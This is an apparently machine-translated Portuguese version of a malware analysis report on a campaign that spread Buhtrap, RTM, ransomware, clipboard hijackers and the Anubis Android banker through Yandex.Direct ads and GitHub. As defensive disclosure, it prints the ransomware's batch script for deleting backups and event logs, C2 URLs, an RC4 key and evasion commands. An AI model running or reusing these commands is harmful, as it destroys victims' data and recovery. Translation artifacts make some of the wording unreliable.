O backdoor e o criptografador Buhtrap foram distribuídos usando o Yandex.Direct

Para direcionar um ataque cibernético a contadores, você pode usar os documentos de trabalho que eles estão procurando na rede. Por exemplo, nos últimos meses, um grupo cibernético está operando que distribui os conhecidos backdoors Buhtrap e RTM , além de criptografadores e software para roubar criptomoedas. A maioria dos alvos está localizada na Rússia. O ataque é implementado colocando anúncios maliciosos no Yandex.Direct. As possíveis vítimas foram a um site onde foram solicitadas a baixar um arquivo malicioso disfarçado de modelo de documento. Yandex removeu anúncios maliciosos após nosso aviso.

O código fonte do Buhtrap foi fundido na rede no passado, para que qualquer pessoa possa usá-lo. Não temos informações sobre a disponibilidade do código RTM.

Em uma postagem, mostraremos como os atacantes distribuíram malware usando o Yandex.Direct e o hospedaram no GitHub. O post será preenchido por uma análise técnica dos malvari.

Buhtrap e RTM de volta aos negócios

Mecanismo de distribuição e vítimas

As várias cargas úteis entregues às vítimas são unidas por um mecanismo de distribuição comum. Todos os arquivos maliciosos criados por cibercriminosos estavam localizados em dois repositórios diferentes do GitHub.

Normalmente, no repositório havia um arquivo malicioso baixado, que costumava mudar. Como você pode ver o histórico de alterações no repositório no GitHub, podemos ver que tipo de malware se espalhou durante um determinado período. Para convencer a vítima a baixar o arquivo malicioso, foi usado o site blanki-shabloni24 [.] Ru, mostrado na figura acima.

O design do site e todos os nomes dos arquivos maliciosos são consistentes em um único conceito - formulários, modelos, contratos, amostras, etc. Dado que, no passado, o Buhtrap e o software RTM já eram usados ​​em ataques a contadores, assumimos que a estratégia é a mesma na nova campanha. A única questão é como a vítima chegou ao local dos agressores.

Infecção

Pelo menos algumas vítimas em potencial neste site foram atraídas por publicidade maliciosa. A seguir, é apresentado um exemplo de URL:

https://blanki-shabloni24.ru/?utm_source=yandex&utm_medium=banner&utm_campaign=cid|{blanki_rsya}|context&utm_content=gid|3590756360|aid|6683792549|15114654950_&utm_term= &pm_source=bb.f2.kz&pm_block=none&pm_position=0&yclid=1029648968001296456

Como você pode ver no link, o banner foi postado no fórum legítimo de contabilidade bb.f2 [.] Kz. É importante observar que os banners apareceram em sites diferentes, todos tiveram o mesmo ID de campanha (blanki_rsya) e a maioria relacionada a serviços de contabilidade ou assistência jurídica. Pode ser visto no URL que a vítima em potencial usou o pedido "formulário da conta de download", o que reforça nossa hipótese sobre ataques direcionados. Listados abaixo estão os sites onde os banners e pesquisas relacionadas apareceram.

• baixar formulário da conta - bb.f2 [.] kz
• contrato de amostra - Ipopen [.] en
• amostra de reclamação de declaração - 77metrov [.] ru
• formulário de contrato - blank-dogovor-kupli-prodazhi [.] pt
• amostra da petição - zen.yandex [.] ru
• amostra de reclamação - quarta-feira [.]
• modelos de contrato de amostra - Regforum [.]
• formulário de contrato - assistentus [.]
• exemplo de contrato de apartamento - napravah [.] com
• amostras de contratos legais - avito [.] ru

O site blanki-shabloni24 [.] Ru pode ter sido configurado para passar por uma avaliação visual simples. Como regra, a publicidade que leva a um site de aparência profissional com um link para o GitHub não parece algo obviamente ruim. Além disso, os invasores carregaram arquivos maliciosos no repositório apenas por um período limitado, provavelmente durante a campanha. A maior parte do repositório no GitHub era um arquivo zip vazio ou um arquivo exe limpo. Assim, os atacantes poderiam distribuir publicidade através do Yandex.Direct em sites que provavelmente eram visitados por contadores que vinham para consultas de pesquisa específicas.

Em seguida, considere as várias cargas úteis distribuídas dessa maneira.

Análise de carga útil

Cronograma de distribuição

A campanha de malware começou no final de outubro de 2018 e está ativa no momento da redação da postagem. Como todo o repositório estava disponível publicamente no GitHub, compilamos uma cronologia precisa da distribuição de seis famílias de malware diferentes (veja a figura abaixo). Adicionamos uma linha mostrando o momento em que um link do banner foi detectado, de acordo com a telemetria da ESET, para comparação com o histórico do git. Como você pode ver, isso se correlaciona bem com a disponibilidade da carga útil no GitHub. A discrepância no final de fevereiro pode ser explicada por nossa falta de parte do histórico de alterações, pois o repositório foi excluído do GitHub antes que pudéssemos obtê-lo completamente.


Figura 1. Cronologia da distribuição de malvari.

Certificados de assinatura de certificado

A campanha usou muitos certificados. Alguns assinaram mais de uma família de malware, o que indica adicionalmente que amostras diferentes pertencem à mesma campanha. Apesar da disponibilidade da chave privada, os operadores não assinaram os arquivos binários sistematicamente e não usaram a chave para todas as amostras. No final de fevereiro de 2019, os atacantes começaram a criar assinaturas inválidas usando um certificado de propriedade do Google, para o qual eles não têm uma chave privada.

Todos os certificados envolvidos na campanha e as famílias Malvari que assinam estão listados na tabela abaixo.



Também usamos esses certificados de assinatura de código para se comunicar com outras famílias de malware. Para a maioria dos certificados, não encontramos amostras que não seriam distribuídas pelo repositório GitHub. No entanto, o certificado TOV “MARIYA” foi usado para assinar o Malvari, de propriedade da botnet Wauchos, adware e mineradores. É improvável que este malware esteja associado a esta campanha. Provavelmente, o certificado foi comprado na darknet.

Win32 / Filecoder.Buhtrap

O primeiro componente que chamou nossa atenção foi o primeiro Win32 / Filecoder.Buhtrap descoberto. Este é um arquivo binário Delphi que às vezes pode ser empacotado. Foi distribuído principalmente entre fevereiro e março de 2019. Ele se comporta como deveria em um programa de ransomware - ele procura discos locais e pastas de rede e criptografa os arquivos detectados. Para comprometer, ele não precisa de uma conexão com a Internet, pois não entra em contato com o servidor para enviar chaves de criptografia. Em vez disso, ele adiciona um "token" no final da mensagem de recompra e sugere o uso de email ou Bitmessage para se comunicar com os operadores.

Para criptografar o maior número possível de recursos importantes, o Filecoder.Buhtrap lança um fluxo projetado para desligar o software chave, que pode ter manipuladores de arquivos abertos com informações valiosas, que podem interferir na criptografia. Os processos de destino são principalmente sistemas de gerenciamento de banco de dados (DBMS). Além disso, o Filecoder.Buhtrap exclui arquivos de log e backups para dificultar a recuperação de dados. Para fazer isso, o script em lotes abaixo é executado.

bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
wbadmin delete catalog -quiet
wbadmin delete systemstatebackup
wbadmin delete systemstatebackup -keepversions:0
wbadmin delete backup
wmic shadowcopy delete
vssadmin delete shadows /all /quiet
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
attrib "%userprofile%\documents\Default.rdp" -s -h
del "%userprofile%\documents\Default.rdp"
wevtutil.exe clear-log Application
wevtutil.exe clear-log Security
wevtutil.exe clear-log System
sc config eventlog start=disabled

O Filecoder.Buhtrap usa o IP Logger de serviço online legítimo, criado para coletar informações sobre os visitantes do site. O objetivo é rastrear as vítimas do codificador, pelas quais a linha de comando é responsável:

mshta.exe "javascript:document.write('');"

Os arquivos para criptografia são selecionados em caso de incompatibilidade nas três listas de exceções. Em primeiro lugar, os arquivos com as seguintes extensões não são criptografados: .com, .cmd, .cpl, .dll, .exe, .hta, .lnk, .msc, .msi, .msp, .pif, .scr, .sys e .bat. Em segundo lugar, todos os arquivos para os quais o caminho completo contém linhas de diretório da lista abaixo são excluídos.

\.{ED7BA470-8E54-465E-825C-99712043E01C}\
\tor browser\
\opera\
\opera software\
\mozilla\
\mozilla firefox\
\internet explorer\
\google\chrome\
\google\
\boot\
\application data\
\apple computer\safari\
\appdata\
\all users\
:\windows\
:\system volume information\
:\nvidia\
:\intel\

Em terceiro lugar, certos nomes de arquivos também são excluídos da criptografia, entre eles o nome do arquivo de mensagens com um pedido de resgate. A lista é apresentada abaixo. Obviamente, todas essas exceções foram projetadas para preservar a capacidade de iniciar a máquina, mas com sua usabilidade mínima.

boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntdetect.com
ntldr
ntuser.dat
ntuser.dat.log
ntuser.ini
thumbs.db
winupas.exe
your files are now encrypted.txt
windows update assistant.lnk
master.exe
unlock.exe
unlocker.exe

Esquema de criptografia de arquivos

Uma vez iniciado, o malware gera um par de chaves RSA de 512 bits. O expoente privado (d) e o módulo (n) são então criptografados usando uma chave pública de 2048 bits codificada (expoente público e módulo), agrupada em zlib e codificada em base64. O código responsável por isso é mostrado na Figura 2.


Figura 2. O resultado da decompilação Hex-Rays do processo de geração de um par de chaves RSA de 512 bits.

A seguir, é apresentado um exemplo de texto sem formatação com uma chave privada gerada, que é um token anexado à mensagem de resgate.

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

A chave pública dos atacantes é mostrada abaixo.

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

Os arquivos são criptografados usando o AES-128-CBC com uma chave de 256 bits. Para cada arquivo criptografado, uma nova chave e um novo vetor de inicialização são gerados. As principais informações são adicionadas ao final do arquivo criptografado. Considere o formato de arquivo criptografado.
Os arquivos criptografados têm o seguinte cabeçalho:



Os dados do arquivo de origem com a adição do valor mágico do VEGA são criptografados até os primeiros 0x5000 bytes. Todas as informações para descriptografia são anexadas a um arquivo com a seguinte estrutura:



- O marcador de tamanho do arquivo contém um rótulo indicando se o arquivo é maior que 0x5000 bytes
- Blob de chave AES = ZlibCompress (RSAEncrypt (chave AES + IV, chave pública do par de chaves RSA gerado)
- Blob de chave RSA = ZlibCompress (RSAEncrypt (chave privada RSA gerada, chave pública RSA codificada))

Win32 / ClipBanker

O Win32 / ClipBanker é um componente distribuído de forma intermitente do final de outubro ao início de dezembro de 2018. Seu papel é rastrear o conteúdo da área de transferência, procurar os endereços das carteiras de criptomoedas. Após determinar o endereço da carteira de destino, o ClipBanker substitui-o pelo endereço supostamente pertencente aos operadores. As amostras que estudamos não foram empacotadas nem ofuscadas. O único mecanismo usado para mascarar o comportamento é a criptografia de cadeias. Os endereços das carteiras dos operadores são criptografados usando o RC4. Alvo de criptomoedas - Bitcoin, Bitcoin cash, Dogecoin, Ethereum e Ripple.

Durante o período de distribuição de malware, uma pequena quantidade foi enviada ao MTC para as carteiras Bitcoin do atacante, o que lança dúvidas sobre o sucesso da campanha. Além disso, não há razão para supor que essas transações geralmente estejam relacionadas ao ClipBanker.

Win32 / RTM

O componente Win32 / RTM foi distribuído por vários dias no início de março de 2019. O RTM é um banqueiro Trojan baseado em Delphi, destinado a sistemas bancários remotos. Em 2017, os pesquisadores da ESET publicaram uma análise detalhada deste programa, a descrição ainda é relevante. Em janeiro de 2019, a Palo Alto Networks também divulgou um post sobre o RTM .

Buhtrap downloader

Por algum tempo, um downloader estava disponível no GitHub, ao contrário das ferramentas anteriores do Buhtrap. Vai para https://94.100.18[.]67/RSS.php?<some_id> na próxima etapa e a carrega diretamente na memória. Dois comportamentos do código do segundo estágio podem ser distinguidos. No primeiro URL, o RSS.php passou o backdoor do Buhtrap diretamente - esse backdoor é muito semelhante ao disponível após o vazamento do código-fonte.

Curiosamente, vemos várias campanhas com um backdoor Buhtrap e, presumivelmente, elas são lideradas por diferentes operadores. Nesse caso, a principal diferença é que o backdoor é carregado diretamente na memória e não usa o esquema usual com o processo de implantação da DLL, sobre o qual falamos anteriormente . Além disso, os operadores alteraram a chave RC4 usada para criptografar o tráfego de rede no servidor C&C. Na maioria das campanhas que vimos, os operadores não se preocuparam em alterar essa chave.

O segundo comportamento mais complexo - o URL RSS.php foi passado por outro carregador. Ele implementou alguma ofuscação, como a reconstrução de uma tabela de importação dinâmica. O objetivo do carregador de inicialização é entrar em contato com o servidor C&C msiofficeupd [.] Com / api / F27F84EDA4D13B15 / 2, enviar logs e aguardar uma resposta. Ele processa a resposta como um blob, carrega-a na memória e executa. A carga útil que vimos ao executar esse carregador era a mesma porta traseira do Buhtrap, mas pode haver outros componentes.

Android / Spy.Banker

Curiosamente, um componente para Android também foi encontrado no repositório GitHub. Ele esteve no ramo principal por apenas um dia - 1 de novembro de 2018. Além de hospedada no GitHub, a telemetria da ESET não encontra evidências da propagação desse malware.

O componente foi hospedado como um pacote de aplicativos Android (APK). Ele está muito ofuscado. O comportamento malicioso está oculto no JAR criptografado localizado no APK. É RC4 criptografado com esta chave:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

A mesma chave e algoritmo são usados ​​para criptografar seqüências de caracteres. JAR está localizado em APK_ROOT + image/files . Os primeiros 4 bytes do arquivo contêm o comprimento do JAR criptografado, que começa imediatamente após o campo de comprimento.

Após descriptografar o arquivo, descobrimos que é o Anubis - um banqueiro previamente documentado para Android. O software malicioso possui as seguintes funções:

• gravação de microfone
• tirando screenshots
• obtenção de coordenadas GPS
• keylogger
• criptografia de dados do dispositivo e demanda de resgate
• spam

Curiosamente, o banqueiro usou o Twitter como um canal de comunicação de backup para obter outro servidor C&C. A amostra analisada usou a conta @JohnesTrader, mas no momento da análise ela já estava bloqueada.

O banqueiro contém uma lista de aplicativos direcionados em um dispositivo Android. Tornou-se mais longo do que a lista obtida no estudo Sophos. A lista contém muitos aplicativos bancários, programas de compras online, como Amazon e eBay, serviços de criptomoeda.

MSIL / ClipBanker.IH

O último componente que foi distribuído como parte desta campanha foi o executável .NET Windows, que apareceu em março de 2019. A maioria das versões estudadas foi empacotada pelo ConfuserEx v1.0.0. Como o ClipBanker, esse componente usa a área de transferência. Seu objetivo é uma ampla variedade de criptomoedas, além de ofertas no Steam. Além disso, ele usa o serviço IP Logger para roubar a chave WIF privada do Bitcoin.

Mecanismos de proteção
Além das vantagens que o ConfuserEx oferece na forma de combater depuração, descarte e violação, o componente tem a capacidade de detectar produtos antivírus e máquinas virtuais.

Para verificar o lançamento em uma máquina virtual, o malware usa a linha de comando WMI interna do Windows (WMIC) para solicitar informações sobre o BIOS, a saber:

wmic bios

Em seguida, o programa analisa a saída do comando e procura por palavras-chave: VBOX, VirtualBox, XEN, qemu, bochs, VM.

Para detectar produtos antivírus, o malware envia uma solicitação WMI (Instrumentação de Gerenciamento do Windows) para a Central de Segurança do Windows usando a API ManagementObjectSearcher como mostrado abaixo. Após a decodificação da base64, a chamada fica assim:

ManagementObjectSearcher('root\\SecurityCenter2', 'SELECT * FROM AntivirusProduct')


Figura 3. O processo de determinação de produtos antivírus.

Além disso, o malware verifica se o CryptoClipWatcher , uma ferramenta para proteção contra ataques da área de transferência, está em execução e, se estiver em execução, interrompe todos os threads desse processo, desativando a proteção.

Persistência

A versão do malware que estudamos se copia para %APPDATA%\google\updater.exe e define o atributo "hidden" para o diretório do google. Em seguida, altera o valor de Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell no registro do Windows e adiciona o caminho updater.exe . Portanto, o malware será executado sempre que um usuário fizer login.

Comportamento malicioso

Como o ClipBanker, o malware monitora o conteúdo da área de transferência e procura os endereços das carteiras de criptomoeda e, quando a encontra, a substitui por um dos endereços do operador. Abaixo está uma lista de endereços de destino com base no que foi encontrado no código.

BTC_P2PKH, BTC_P2SH, BTC_BECH32, BCH_P2PKH_CashAddr, BTC_GOLD, LTC_P2PKH, LTC_BECH32, LTC_P2SH_M, ETH_ERC20, XMR, DCR, XRP, DOGE, DASH, ZEC_T_ADDR, ZEC_Z_ADDR, STELLAR, NEO, ADA, IOTA, NANO_1, NANO_3, BANANO_1, BANANO_3, STRATIS, NIOBIO, LISK, QTUM, WMZ, WMX, WME, VERTCOIN, TRON, TEZOS, QIWI_ID, YANDEX_ID, NAMECOIN, B58_PRIVATEKEY, STEAM_URL

Para cada tipo de endereço, há uma expressão regular correspondente. O valor STEAM_URL é usado para atacar o sistema Steam, como pode ser visto na expressão regular, que é usada para determinar no buffer:

\b(https:\/\/|http:\/\/|)steamcommunity\.com\/tradeoffer\/new\/\?partner=[0-9]+&token=[a-zA-Z0-9]+\b

Canal de Exfiltração

Além de substituir os endereços no buffer, o malware visa chaves WIF privadas das carteiras Bitcoin, Bitcoin Core e Electrum Bitcoin. O programa usa o plogger.org como um canal de exfiltração para obter a chave privada WIF. Para fazer isso, os operadores adicionam os dados da chave privada ao cabeçalho HTTP do agente do usuário, conforme mostrado abaixo.


Figura 4. Console do IP Logger com saída.

Os operadores não usaram o iplogger.org para filtrar carteiras. Provavelmente, eles recorreram a um método diferente devido à restrição de 255 caracteres no campo User-Agent , exibido na interface da web do IP Logger. Nas amostras estudadas, outro servidor para saída de dados foi armazenado na DiscordWebHook ambiente DiscordWebHook . Surpreendentemente, essa variável de ambiente não está atribuída a nenhum lugar do código. Isso sugere que o malware ainda está em desenvolvimento e a variável é atribuída na máquina de teste do operador.

Há outro sinal de que o programa está em desenvolvimento. O binário inclui dois URLs do iplogger.org e uma solicitação é enviada aos dois ao filtrar os dados. Em uma solicitação para um desses URLs, o valor no campo Referer é precedido por "DEV /". Também encontramos uma versão que não foi compactada usando o ConfuserEx, o destinatário desse URL se chama DevFeedbackUrl. Com base no nome da variável de ambiente, acreditamos que as operadoras planejam usar o serviço Discord legítimo e seu sistema de interceptação da Web para roubar carteiras de criptomoedas.

Conclusão

Esta campanha é um exemplo do uso de serviços de publicidade legítimos em ataques cibernéticos. O esquema é voltado para organizações russas, mas não ficaremos surpresos ao ver esse ataque usando serviços não russos. Para evitar comprometimentos, os usuários devem ter confiança na reputação da fonte do software baixado.

Uma lista completa dos indicadores de comprometimento e atributos do MITRE ATT & CK está disponível aqui .